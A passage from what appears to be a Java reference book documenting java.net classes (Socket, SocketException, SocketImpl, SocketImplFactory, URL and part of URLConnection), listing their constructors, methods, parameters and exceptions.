port

A port on a remote machine.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given host and port.

UnknownHostException

If the IP address of the given hostname cannot be determined.

Description

This constructor creates a Socket and connects it to the specified port on the given host.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

public Socket(InetAddress address, int port) throws IOException

Parameters

address

The IP address of a remote machine.

port

A port on a remote machine.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given address and port.

Description

This constructor creates a Socket and connects it to the specified port on the host at the given address.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

 public Socket(String host, int port, InetAddress localAddr, int localPort) throws IOException

Availability

New as of JDK 1.1

Parameters

host

The name of a remote machine.

port

A port on a remote machine.

localAddr

An IP address on the local host.

localPort

A port on the local host.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given host and port.

Description

This constructor creates a Socket and connects it to the specified port on the given host. The constructor also binds the Socket to the specified local address and port.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

 public Socket(InetAddress address, int port, InetAddress localAddr, int localPort) throws IOException

Availability

New as of JDK 1.1

Parameters

address

The IP address of a remote machine.

port

A port on a remote machine.

localAddr

An IP address on the local host.

localPort

A port on the local host.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given address and port.

Description

This constructor creates a Socket and connects it to the specified port on the host at the given address. The constructor also binds the Socket to the specified local address and port.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

 public Socket(String host, int port, boolean stream) throws IOException

Availability

Deprecated as of JDK 1.1

Parameters

host

The name of a remote machine.

port

A port on a remote machine.

stream

A boolean value that indicates if this socket is a stream socket.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given host and port.

Description

This constructor creates a Socket and connects it to the specified port on the given host.

If the stream argument is true, a stream socket is created. Otherwise, a datagram socket is created. This constructor is deprecated as of JDK 1.1; use DatagramSocket for datagrams.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

 public Socket(InetAddress address, int port, boolean stream) throws IOException

Availability

Deprecated as of JDK 1.1

Parameters

address

The IP address of a remote machine.

port

A port on a remote machine.

stream

A boolean value that indicates if this socket is a stream socket.

Throws

IOException

If any kind of I/O error occurs.

SecurityException

If the application is not allowed to connect to the given host and port.

Description

This constructor creates a Socket and connects it to the specified port on the host at the given address.

If the stream argument is true, a stream socket is created. Otherwise, a datagram socket is created. This constructor is deprecated as of JDK 1.1; use DatagramSocket for datagrams.

If a program has specified a socket factory, the createSocketImpl() method of that factory is called to create the actual socket implementation. Otherwise, the constructor creates a plain socket.

protectedSocket()

Availability

New as of JDK 1.1

Description

This constructor creates a Socket that uses an instance of the system default SocketImpl subclass for its low-level network access.

protectedSocket(SocketImpl impl) throws SocketException

Availability

New as of JDK 1.1

Parameters

impl

The socket implementation to use.

Throws

SocketException

This exception is never thrown by this constructor.

Description

This constructor creates a Socket that uses the given object for its low-level network access.

Class Methods

setSocketImplFactory

 public static synchronized void setSocketImplFactory( SocketImplFactory fac) throws IOException

Parameters

fac

An object that implements SocketImplFactory.

Throws

IOException

If the factory has already been defined.

SecurityException

If the application does not have permission to set the factory.

Description

This method sets the SocketImplFactory. This factory produces instances of subclasses of SocketImpl that do the low-level work of sockets. When a Socket constructor is called, the createSocketImpl() method of the factory is called to create the socket implementation.

Instance Methods

close

public synchronized void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes this socket, releasing any system resources it holds.

getInetAddress

public InetAddress getInetAddress()

Returns

The remote IP address to which this Socket is connected.

Description

This method returns the IP address of the remote host to which this socket is connected.

getInputStream

public InputStream getInputStream() throws IOException

Returns

An InputStream that wraps this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns an InputStream that reads data from the socket.

getLocalAddress

public InetAddress getLocalAddress()

Availability

New as of JDK 1.1

Returns

The local IP address from which this Socket originates.

Description

This method returns the local address that is the origin of the socket.

getLocalPort

public int getLocalPort()

Returns

The local port number from which this Socket originates.

Description

This method returns the local port number that is the origin of the socket.

getOutputStream

public OutputStream getOutputStream() throws IOException

Returns

An OutputStream that wraps this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns an OutputStream that sends data through the socket.

getPort

public int getPort()

Returns

The remote port number to which this Socket is connected.

Description

This method returns the port number of the remote host to which this socket is connected.

getSoLinger

public int getSoLinger() throws SocketException

Availability

New as of JDK 1.1

Returns

The close time-out value for the socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method returns the close time-out value for this socket. A value of -1 or 0 indicates that close()closes the socket immediately. A value greater than 0 indicates the amount of time, in seconds, that close() blocks, waiting for unsent data to be sent.

getSoTimeout

public synchronized int getSoTimeout() throws SocketException

Availability

New as of JDK 1.1

Returns

The read time-out value for the socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method returns the read time-out value for this socket. A value of zero indicates that the read() method of the associated InputStream waits indefinitely for an incoming packet, while a non-zero value indicates the number of milliseconds it waits before throwing an InterruptedIOException.

getTcpNoDelay

public boolean getTcpNoDelay() throws SocketException

Availability

New as of JDK 1.1

Returns

true if Nagle's algorithm is disabled for this connection; false otherwise.

Throws

SocketException

If any kind of socket error occurs.

Description

This method indicates whether Nagle's algorithm is disabled for this socket or not. Said another way, it indicates whether the TCPNODELAY option is enabled or not.

In essence, Nagle's algorithm takes small outgoing packets that are closely spaced in time and combines them into larger packets. This improves overall efficiency, since each packet has a certain amount of overhead; however, it does so at the expense of immediacy.

setSoLinger

 public void setSoLinger(boolean on, int val) throws SocketException

Availability

New as of JDK 1.1

Parameters

on

A boolean value that specifies whether or not close() blocks

val

The new close time-out value, in seconds, for this socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method sets the close timeout value for this socket. If val is -1 or 0, or if on is false, close() closes the socket immediately. If on is true and val is greater than 0, val indicates the amount of time, in seconds, that close() blocks, waiting for unsent data to be sent.

setSoTimeout

 public synchronized void setSoTimeout(int timeout) throws SocketException

Availability

New as of JDK 1.1

Parameters

timeout

The new read time-out value, in milliseconds, for the socket.

Throws

SocketException

If any kind of socket error occurs.

Description

This method is used to set the time-out value that is used for the read() method of the corresponding InputStream. A non-zero value is the length of time, in milliseconds, that the Socket should wait for data before throwing an InterruptedIOException. A value of zero indicates that the Socket should wait indefinitely. If a timeout value is needed, this method must be called before read().

setTcpNoDelay

public void setTcpNoDelay(boolean on) throws SocketException

Availability

New as of JDK 1.1

Parameters

on

A boolean value that specifies whether or not to disable Nagle's algorithm.

Throws

SocketException

If any kind of socket error occurs.

Description

This method specifies whether Nagle's algorithm is disabled for this socket or not. Said another way, it determines whether the TCPNODELAY option is enabled or not.

In essence, Nagle's algorithm takes small outgoing packets that are closely spaced in time and combines them into larger packets. This improves overall efficiency, since each packet has a certain amount of overhead; however, it does so at the expense of immediacy.

toString

public String toString()

Returns

The string representation of this Socket.

Overrides

Object.toString()

Description

This method returns a String that contains the address and port of this Socket.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DatagramSocket, InetAddress, InputStream, IOException, OutputStream, SecurityException, SocketException, SocketImpl, SocketImplFactory, UnknownHostException

Previous | Home | Next
ServerSocket | Book Index | SocketException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] SocketException

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

SocketException

Name

SocketException

Synopsis

Class Name:

java.net.SocketException

Superclass:

java.io.IOException

Immediate Subclasses:

java.net.BindException,

java.net.ConnectException,

java.net.NoRouteToHostException

Interfaces Implemented:

None

Availability:

JDK 1.0 and later

Description

A SocketException is thrown when an error occurs while a socket is being used. As of JDK 1.1, there are some more specific subclasses of SocketException, namely BindException, ConnectException, and NoRouteToHostException.

Class Summary

public class java.net.SocketException extends java.io.IOException {
  // Constructors
  public SocketException();
  public SocketException(String msg);
}

Constructors

SocketException

public SocketException()

Description

This constructor creates a SocketException with no associated detail message.

public SocketException(String msg)

Parameters

msg

The detail message.

Description

This constructor creates a SocketException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Throwable
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BindException, ConnectException, Exception, IOException, NoRouteToHostException, RuntimeException

Previous | Home | Next
Socket | Book Index | SocketImpl
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] SocketImpl

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

SocketImpl

Name

SocketImpl

Synopsis

Class Name:

java.net.SocketImpl

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The SocketImpl class is an abstract class that defines the bulk of the methods that make the Socket and ServerSocket classes work. Thus, SocketImpl is used to create both client and server sockets. Non-public subclasses of SocketImpl provide platform-specific implementations of stream-based socket communication. A plain socket implements the methods in SocketImpl as described; other implementations could provide socket communication through a proxy or firewall.

Class Summary

public abstract class java.net.SocketImpl extends java.lang.Object {
  // Variables
  protected InetAddress address;
  protected FileDescriptor fd;
  protected int localport;
  protected int port;
  // Instance Methods
  public String toString();
  // Protected Instance Methods
  protected abstract void accept(SocketImpl s);
  protected abstract int available();
  protected abstract void bind(InetAddress host, int port);
  protected abstract void close();
  protected abstract void connect(String host, int port);
  protected abstract void connect(InetAddress address, int port);
  protected abstract void create(boolean stream);
  protected FileDescriptor getFileDescriptor();
  protected InetAddress getInetAddress();
  protected abstract InputStream getInputStream();
  protected int getLocalPort();
  protected abstract OutputStream getOutputStream();
  protected int getPort();
  protected abstract void listen(int backlog);
}

Variables

address

protected InetAddress address

Description

The remote IP address to which this socket is connected.

fd

protected FileDescriptor fd

Description

The file descriptor that represents this socket.

localPort

protected int localPort

Description

The local port number of this socket.

port

protected int port

Description

The remote port number of this socket.

Instance Methods

toString

public String toString()

Returns

The string representation of this SocketImpl.

Overrides

Object.toString()

Description

This method returns a String that contains a representation of this object.

Protected Instance Methods

accept

protected abstract void accept(SocketImpl s) throws IOException

Parameters

s

A SocketImpl to connect.

Throws

IOException

If any kind of I/O error occurs.

Description

This method accepts a connection. The method connects the given socket s to a remote host in response to the remote host's connection request on this SocketImpl.

available

protected abstract int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the number of bytes that can be read from the socket without waiting for more data to arrive.

bind

 protected abstract void bind(InetAddress host, int port) throws IOException

Parameters

host

An IP address.

port

A port number.

Throws

IOException

If any kind of I/O error occurs.

Description

This method binds the socket to the given address and port. If the address or the port is unavailable, an exception is thrown.

close

protected abstract void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method closes the socket, releasing any system resources it holds.

connect

 protected abstract void connect(String host, int port) throws IOException

Parameters

host

A remote hostname.

port

A port number on the remote host.

Throws

IOException

If any kind of I/O error occurs.

Description

This method connects this socket to the specified port on the given host.

 protected abstract void connect(InetAddress address, int port) throws IOException

Parameters

address

A remote IP address.

port

A port number on the remote host.

Throws

IOException

If any kind of I/O error occurs.

Description

This method connects this socket to the specified port on the host at the given address.

create

protected abstract void create(boolean stream) throws IOException

Parameters

stream

A boolean value that indicates if this socket is a stream socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method creates a socket that is not bound and not connected. If the stream argument is true, a stream socket is created. Otherwise, a datagram socket is created.

getFileDescriptor

protected final FileDescriptor getFileDescriptor

Returns

The file descriptor for this socket.

Description

This method returns the file descriptor associated with this SocketImpl.

getInetAddress

protected InetAddress getInetAddress()

Returns

The remote IP address to which this SocketImpl is connected.

Description

This method returns the IP address of the remote host to which this SocketImpl is connected.

getInputStream

protected abstract InputStream getInputStream() throws IOException

Returns

An InputStream that wraps this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns an InputStream that reads data from the socket.

getLocalPort

protected int getLocalPort()

Returns

The local port number from which this SocketImpl originates.

Description

This method returns the local port number that is the origin of the socket.

getOutputStream

 protected abstract OutputStream getOutputStream() throws IOException

Returns

An OutputStream that wraps this socket.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns an OutputStream that sends data through the socket.

getPort

protected int getPort()

Returns

The remote port number to which this SocketImpl is connected.

Description

This method returns the port number of the remote host to which this socket is connected.

listen

protected abstract void listen(int backlog) throws IOException

Parameters

backlog

The maximum length of pending connections queue.

Throws

IOException

If any kind of I/O error occurs.

Description

This object can directly accept a connection if its accept() method has been called and is waiting for a connection. Otherwise, the local system rejects connections to this socket unless listen() has been called.

This method requests that the local system listen for connections and accept them on behalf of this object. The accepted connections are placed in a queue of the specified length. When there are connections in the queue, a call to this object's accept() method removes a connection from the queue and immediately returns. If the queue is full, additional connection requests are refused.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FileDescriptor, InetAddress, InputStream, IOException, OutputStream, ServerSocket, Socket, SocketImplFactory

Previous | Home | Next
SocketException | Book Index | SocketImplFactory
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] SocketImplFactory

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

SocketImplFactory

Name

SocketImplFactory

Synopsis

Interface Name:

java.net.SocketImplFactory

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented By:

None

Availability:

JDK 1.0 or later

Description

The SocketImplFactory interface defines a method that creates a SocketImpl object. The interface is implemented by classes that select SocketImpl subclasses to support the Socket and ServerSocket classes.

Interface Declaration

public abstract interface java.net.SocketImplFactory {
  // Methods
  public abstract SocketImpl createSocketImpl();
}

Methods

createSocketImpl

public abstract SocketImpl createSocketImpl()

Returns

A SocketImpl object.

Description

This method creates an instance of a subclass of SocketImpl that is appropriate for the environment.

See Also

ServerSocket, Socket, SocketImpl

Previous | Home | Next
SocketImpl | Book Index | URL
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] URL

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

URL

Name

URL

Synopsis

Class Name:

java.net.URL

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The URL class represents a Uniform Resource Locator, or URL. The class provides methods for retrieving the various parts of a URL and also access to the resource itself.

An absolute URL consists of a protocol, a hostname, a port number, a filename, and an optional reference, or anchor. For example, consider the following URL:

http://www.woolf.net:81/books/Orlando/chapter4.html#p6

This URL consists of the following parts:

Part | Value
Protocol | http
Hostname | www.woolf.net
Port number | 81
Filename | /books/Orlando/chapter4.html
Reference | p6

A relative URL specifies only enough information to locate the resource relative to another URL. The filename component is the only part that must be specified for a relative URL. If the protocol, hostname, or port number is not specified, the value is taken from a fully specified URL. For example, the following is a relative URL based on the absolute URL above:

chapter6.html

This relative URL is equivalent to the following absolute URL:

http://www.woolf.net:81/books/Orlando/chapter6.html

The URL class also provides access to the resource itself, through the getContent(), openConnection(), and openStream() methods. However, these are all convenience functions: other classes do the actual work of accessing the resource.

A protocol handler is an object that knows how to deal with a specific protocol. For example, an http protocol handler opens a connection to an http host. In java.net, subclasses of URLStreamHandler deal with different protocols. A URLStreamHandlerFactory selects a subclass of URLStreamHandler based on a MIME type. Once the URLStreamHandler has established a connection with a host using a specific protocol, a subclass of ContentHandler retrieves resource data from the host and creates an object from it.

Class Summary

public final class java.net.URL extends java.lang.Object
                                implements java.io.Serializable {
  // Constructors
  public URL(String spec);
  public URL(URL context, String spec);
  public URL(String protocol, String host, String file);
  public URL(String protocol, String host, int port, String file);
  // Class Methods
  public static synchronized void setURLStreamHandlerFactory(
                                  URLStreamHandlerFactory fac);
  // Instance Methods
  public boolean equals(Object obj);
  public final Object getContent();
  public String getFile();
  public String getHost();
  public int getPort();
  public String getProtocol();
  public String getRef();
  public int hashCode();
  public URLConnection openConnection();
  public final InputStream openStream();
  public boolean sameFile(URL other);
  public String toExternalForm();
  public String toString();
  // Protected Instance Methods
  protected void set(String protocol, String host, int port,
                     String file, String ref);
}

Constructors

URL

public URL(String spec) throws MalformedURLException

Parameters

spec

A String that represents a URL.

Throws

MalformedURLException

If the string is incorrectly constructed or specifies an unknown protocol.

Description

This constructor creates a URL by parsing the given string. The string should specify an absolute URL. Calling this constructor is equivalent to calling URL(null, spec).

public URL(URL context, String spec) throws MalformedURLException

Parameters

context

A base URL that provides the context for parsing spec.

spec

A String that represents a URL.

Throws

MalformedURLException

If the string is incorrectly constructed or specifies an unknown protocol.

Description

This constructor creates a URL relative to the base URL specified by context. If context is not null, and spec specifies a partial URL, the missing parts of spec are inherited from context.

The given string is first parsed to see if it specifies a protocol. If the string contains a colon (:) before the first occurrence of a slash (/), the characters before the colon comprise the protocol.

If spec does not specify a protocol, and context is not null, the protocol is inherited from context, as are the hostname, port number, and filename. If context is null in this situation, the constructor throws a MalformedURLException.

If spec does specify a protocol, and context is null or specifies a different protocol, the context argument is ignored and spec should specify an absolute URL. If context specifies the same protocol as spec, the hostname, port number, and filename from context are inherited.

Once the constructor has created a fully specified URL object, it searches for an appropriate protocol handler of type URLStreamHandler, as described for URL(String, String, int, String). Then the parseURL() method of the URLStreamHandleris called to parse the remainder of the URL so that the fields in spec can override any values inherited from context.

 public URL(String protocol, String host, String file) throws MalformedURLException

Parameters

protocol

A protocol.

host

A hostname.

file

A filename.

Throws

MalformedURLException

If an unknown protocol is specified.

Description

This constructor creates a URL with the given protocol, hostname, and filename. The port number is set to the default port for the given protocol. Calling this constructor is equivalent to calling URL(protocol, host, -1, file).

 public URL(String protocol, String host, int port, String file) throws MalformedURLException

Parameters

protocol

A protocol.

host

A hostname.

port

A port number or -1 to use the default port for the protocol.

file

A filename.

Throws

MalformedURLException

If an unknown protocol is specified.

Description

This constructor creates a URL with the given protocol, hostname, port number, and filename.

If this is the first URL object being created with the specified protocol, a protocol handler of type URLStreamHandler is created for the protocol. Here are the steps that are taken to create a protocol handler:

  1. If an application has set up a URLStreamHandlerFactory by calling setURLStreamHandlerFactory(), the constructor calls the createURLStreamHandler() method of that object to create the protocol handler. The protocol is passed as a String argument to that method.

  2. If no URLStreamHandlerFactory has been established, or the createURLStreamHandler() method returns null, the constructor retrieves the value of the system property java.protocol.handler.pkgs. If this value is not null, it is interpreted as a list of packages separated by vertical bar (|) characters. The constructor then tries to load the class named package.protocol.Handler, where package is the name of the first package in the list and protocol is the name of the protocol. If the class exists, and is a subclass of URLStreamHandler, it is used as the URLStreamHandler for the protocol. If the class does not exist, or if it exists but is not a subclass of URLStreamHandler, the constructor tries the next package in the list.

  3. If the previous step fails to find an appropriate protocol handler, the constructor tries to load the class named sun.net.www.protocol.protocol.Handler, where protocol is the name of the protocol. If the class exists and is a subclass of URLStreamHandler, it is used as the URLStreamHandler for the protocol. If the class does not exist, or if it exists but is not a subclass of URLStreamHandler, a MalformedURLException is thrown.

Class Methods

setURLStreamHandlerFactory

 public static synchronized void setURLStreamHandlerFactory(URLStreamHandlerFactory fac)

Parameters

fac

An object that implements URLStreamHandlerFactory.

Throws

Error

If the factory has already been defined.

SecurityException

If the application does not have permission to set the factory.

Description

This method tells the URL class to use the given URLStreamHandlerFactory object for handling all URL objects. The purpose of this mechanism is to allow a program that hosts applets, such as a web browser, control over the creation of URLStreamHandler objects.

Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true

if the objects are equivalent;

false

if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of URL with the same protocol, hostname, port number, and filename as this URL. The reference is only compared if it is not null in this URL.

getContent

public Object getContent() throws IOException

Returns

The Object created from the resource represented by this URL.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the content of the URL, encapsulated in an object that is appropriate for the type of the content. The method is shorthand for calling openConnection().getContent(), which uses a ContentHandler object to retrieve the content.

getFile

public String getFile()

Returns

The filename of the URL.

Description

This method returns the name of the file of this URL. Note that the file can be misleading; although the resource represented by this URL may be a file, it can also be generated on the fly by the server.

getHost

public String getHost()

Returns

The hostname of the URL.

Description

This method returns the hostname from this URL.

getPort

public int getPort()

Returns

The port number of the URL.

Description

This method returns the port number of this URL. If a port number is not specified for this URL, meaning it uses the default port for the protocol, -1 is returned.

getProtocol

public String getProtocol()

Returns

The protocol of the URL.

Description

This method returns the protocol of this URL. Some examples of protocols are: http, ftp, and mailto.

getRef

public String getRef()

Returns

The reference of the URL.

Description

This method returns the reference, or anchor, of this URL.

hashCode

public int hashCode()

Returns

The hashcode of the URL.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this object.

openConnection

public URLConnection openConnection() throws IOException

Returns

A URLConnection object for the URL.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns a URLConnection than manages a connection to the resource represented by this URL. If there is not already an open connection, the method opens a connection by calling the openConnection() method of the URLStreamHandler for this URL. A URLStreamHandler for the protocol of the URL is created by the constructor of the URL.

openStream

public final InputStream openStream() throws IOException

Returns

A InputStream that reads from this URL.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns an InputStream object that reads the content of the given URL. The method is shorthand for calling openConnection().getInputStream().

sameFile

public boolean sameFile(URL other)

Parameters

other

The URL to compare.

Returns

A boolean value that indicates if this URL is equivalent to other with the exception of references.

Description

This method returns true if this object and the given URL object specify the same protocol, specify hosts that have the same IP address, specify the same port number, and specify the same filename. The filename comparison is case-sensitive. References specified by the URLs are not considered by this method. This method is a helper method for equals().

toExternalForm

public String toExternalForm)

Returns

A string representation of the URL.

Description

This method returns a string representation of this URL. The string representation is determined by the protocol of the URL. The method calls the toExternalForm() method of the URLStreamHandler for this URL. A URLStreamHandler for the protocol of the URL is created by the constructor of the URL.

toString

public String toString()

Returns

A string representation of the URL.

Overrides

Object.toString()

Description

This method returns a string representation of this URL by calling toExternalForm().

Protected Instance Methods

set

 protected void set(String protocol, String host, int port, String file, String ref)

Parameters

protocol

A protocol.

host

A hostname.

port

A port number.

file

A filename.

ref

A reference.

Description

This method sets the protocol, hostname, port number, filename, and reference of this URL. The method is called by a URLStreamHandler to set the parts of the URL. A URLStreamHandler for the protocol of the URL is created by the constructor of the URL. It is this URLStreamHandler that parses the URL string. This method is used after parsing to set the values of the URL.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

ContentHandler, Error, InputStream, IOException, MalformedURLException, SecurityException, URLConnection, URLStreamHandler, URLStreamHandlerFactory

Previous | Home | Next
SocketImplFactory | Book Index | URLConnection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 15] URLConnection

Java Fundamental Classes Reference

Previous Chapter 15
The java.net Package 		Next

URLConnection

Name

URLConnection

Synopsis

Class Name:

java.net.URLConnection

Superclass:

java.lang.Object

Immediate Subclasses:

java.net.HttpURLConnection

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The URLConnection class is an abstract class that represents a connection to a URL. A subclass of URLConnection supports a protocol-specific connection. A URLConnection can both read from and write to a URL.

A URLConnection object is created when the openConnection() method is called for a URL object. At this point, the actual connection has not yet been made, so setup parameters and general request properties can be modified for the specific connection. The various set methods control the setup parameters and request properties. Then the actual connection is made by calling the connect() method. Finally, the remote object becomes available, and the header fields and the content are accessed using various get methods.

The URLConnection class defines quite a few methods for setting parameters and retrieving information. Fortunately, for simple connections, all of the setup parameters and request properties can be left alone, as they all have reasonable default values. In most cases, you'll only be interested in the getInputStream() and getContent() methods. getInputStream() provides an InputStream that reads from the URL, while getContent() uses a ContentHandler to return an Object that represents the content of the resource. These methods are mirrored by the openStream() and getContent() convenience methods in the URL class.

Class Summary

public abstract class java.net.URLConnection extends java.lang.Object {
  // Variables
  protected boolean allowUserInteraction;
  protected boolean connected;
  protected boolean doInput;
  protected boolean doOutput;
  public static FileNameMap fileNameMap;            // New in 1.1
  protected long ifModifiedSince;
  protected URL url;
  protected boolean useCaches;
  // Constructors
  protected URLConnection(URL url);
  // Class Methods
  public static boolean getDefaultAllowUserInteraction();
  public static String getDefaultRequestProperty(String key);
  protected static String guessContentTypeFromName(String fname);
  public static String guessContentTypeFromStream(InputStream is);
  public static synchronized void setContentHandlerFactory(
                                  ContentHandlerFactory fac);
  public static void setDefaultAllowUserInteraction(
                     boolean defaultallowuserinteraction);
  public static void setDefaultRequestProperty(String key,
                     String value);
  // Instance Methods
  public abstract void connect();
  public boolean getAllowUserInteraction();
  public Object getContent()
  public String getContentEncoding();
  public int getContentLength();
  public String getContentType();
  public long getDate();
  public boolean getDefaultUseCaches();
  public boolean getDoInput();
  public boolean getDoOutput();
  public long getExpiration();
  public String getHeaderField(int n);
  public String getHeaderField(String name);
  public long getHeaderFieldDate(String name, long default);
  public int getHeaderFieldInt(String name, int default);
  public String getHeaderFieldKey(int n);
  public long getIfModifiedSince();
  public InputStream getInputStream();
  public long getLastModified();
  public OutputStream getOutputStream();
  public String getRequestProperty(String key);
  public URL getURL();
  public boolean getUseCaches();
  public void setAllowUserInteraction(boolean allowuserinteraction);
  public void setDefaultUseCaches(boolean defaultusecaches);
  public void setDoInput(boolean doinput);
  public void setDoOutput(boolean dooutput);
  public void setIfModifiedSince(long ifmodifiedsince);
  public void setRequestProperty(String key, String value);
  public void setUseCaches(boolean usecaches);
  public String toString();
}

Variables

allowUserInteraction

protected boolean allowUserInteraction

Description

A flag that indicates whether or not user interaction is enabled for this connection. If this variable is true, it is possible to allow user interactions such as popping up dialog boxes. If it is false, no user interaction is allowed. The variable can be set by setAllowUserInteraction() and retrieved by getAllowUserInteraction(). The default value is false, unless the setDefaultAllowUserInteraction() method has been called, in which case that method call controls the default value.

connected

protected boolean connected

Description

A flag that indicates whether or not this object has established a connection to a remote host.

doInput

protected boolean doInput

Description

A flag that indicates whether or not this connection is enabled for input. Setting this variable to true indicates that the connection is going to read data. The variable can be set by setDoInput() and retrieved by getDoInput(). The default value is true.

doOutput

protected boolean doOutput

Description

A flag that indicates whether or not this connection is enabled for output. Setting this variable to true indicates that the connection is going to write data. The variable can be set by setDoOutput() and retrieved by getDoOutput(). The default value is false.

fileNameMap

public static FileNameMap fileNameMap

Availability

New as of JDK 1.1

Description

A reference to the object that maps filename extensions to MIME type strings. This variable is used in guessContentTypeFromName().

ifModifiedSince

protected long ifModifiedSince

Description

A time value, specified as the number of seconds since January 1, 1970, that controls whether or not a resource is fetched based on its last modification time. Some protocols do not bother to retrieve a resource if there is a current local cached copy. However, if the resource has been modified more recently than ifModifiedSince, it is retrieved. If ifModifiedSince is 0, the resource is always retrieved. The variable can be set by setIfModifiedSince() and retrieved by getIfModifiedSince(). The default value is 0, which means that the resource must always be retrieved.

url

protected URL url

Description

The resource to which this URLConnection connects. This variable is set to the value of the URL argument in the URLConnection constructor. It can be retrieved by getURL().

useCaches

protected boolean useCaches

Description

A flag that indicates whether or not locally cached resources are used. Some protocols cache documents. If this variable is true, the protocol is allowed to use caching whenever possible. If it is false, the protocol must always try to retrieve the resource. The variable can be set by setUseCaches() and retrieved by getUseCaches(). The default value is true, unless the setDefaultUseCaches() method has been called, in which case that method call controls the default value.

Constructors

URLConnection

protected URLConnection(URL url)

Parameters

url

The URL to access.

Description

This constructor creates a URLConnection object to manage a connection to the destination specified by the given URL. The actual connection is not created, however.

Class Methods

getDefaultAllowUserInteraction

public static boolean getDefaultAllowUserInteraction()

Returns

true if user interaction is allowed by default; false otherwise.

Description

This method returns the default value of the allowUserInteraction variable for all instances of URLConnection. The default value is false, unless the setDefaultAllowUserInteraction() method has been called, in which case that method call controls the default value.

getDefaultRequestProperty

public static String getDefaultRequestProperty(String key)

Parameters

key

The name of a request property.

Returns

The default value of the named request property.

Description

This method returns the default value for the request property named by the key parameter.

guessContentTypeFromName

protected static String guessContentTypeFromName(String fname)

Parameters

fname

A String that contains the name of a file.

Returns

A guess at the MIME type of the given file, or null if a guess cannot be made.

Description

This method uses the FileNameMap specified by the variable fileNameMap to return a MIME content type for the given filename.

guessContentTypeFromStream

 protected static String guessContentTypeFromStream(InputStream is) throws IOException

Parameters

is

The input stream to inspect

Returns

A guess at the MIME type of the given input stream, or null if a guess cannot be made.

Throws

IOException

If any kind of I/O error occurs.

Description

This method looks at the first few bytes of an InputStream and returns a guess of the MIME content type. Note that the InputStream must support marks, which usually means that there is a BufferedInputStream at some level. Here are some strings that are recognized and the inferred content type:

String | MIME Type Guess
#def | image/x-bitmap
<! | text/html
<body | text/html
<head> | text/html
<html> | text/html
! XPM2 | image/x-pixmap
GIF8 | image/gif

setContentHandlerFactory

 public static synchronized void setContentHandlerFactory(ContentHandlerFactory fac)

Parameters

fac

An object that implements ContentHandlerFactory.

Throws

Error

If the factory has already been defined.

SecurityException

If the application does not have permission to set the factory.

Description

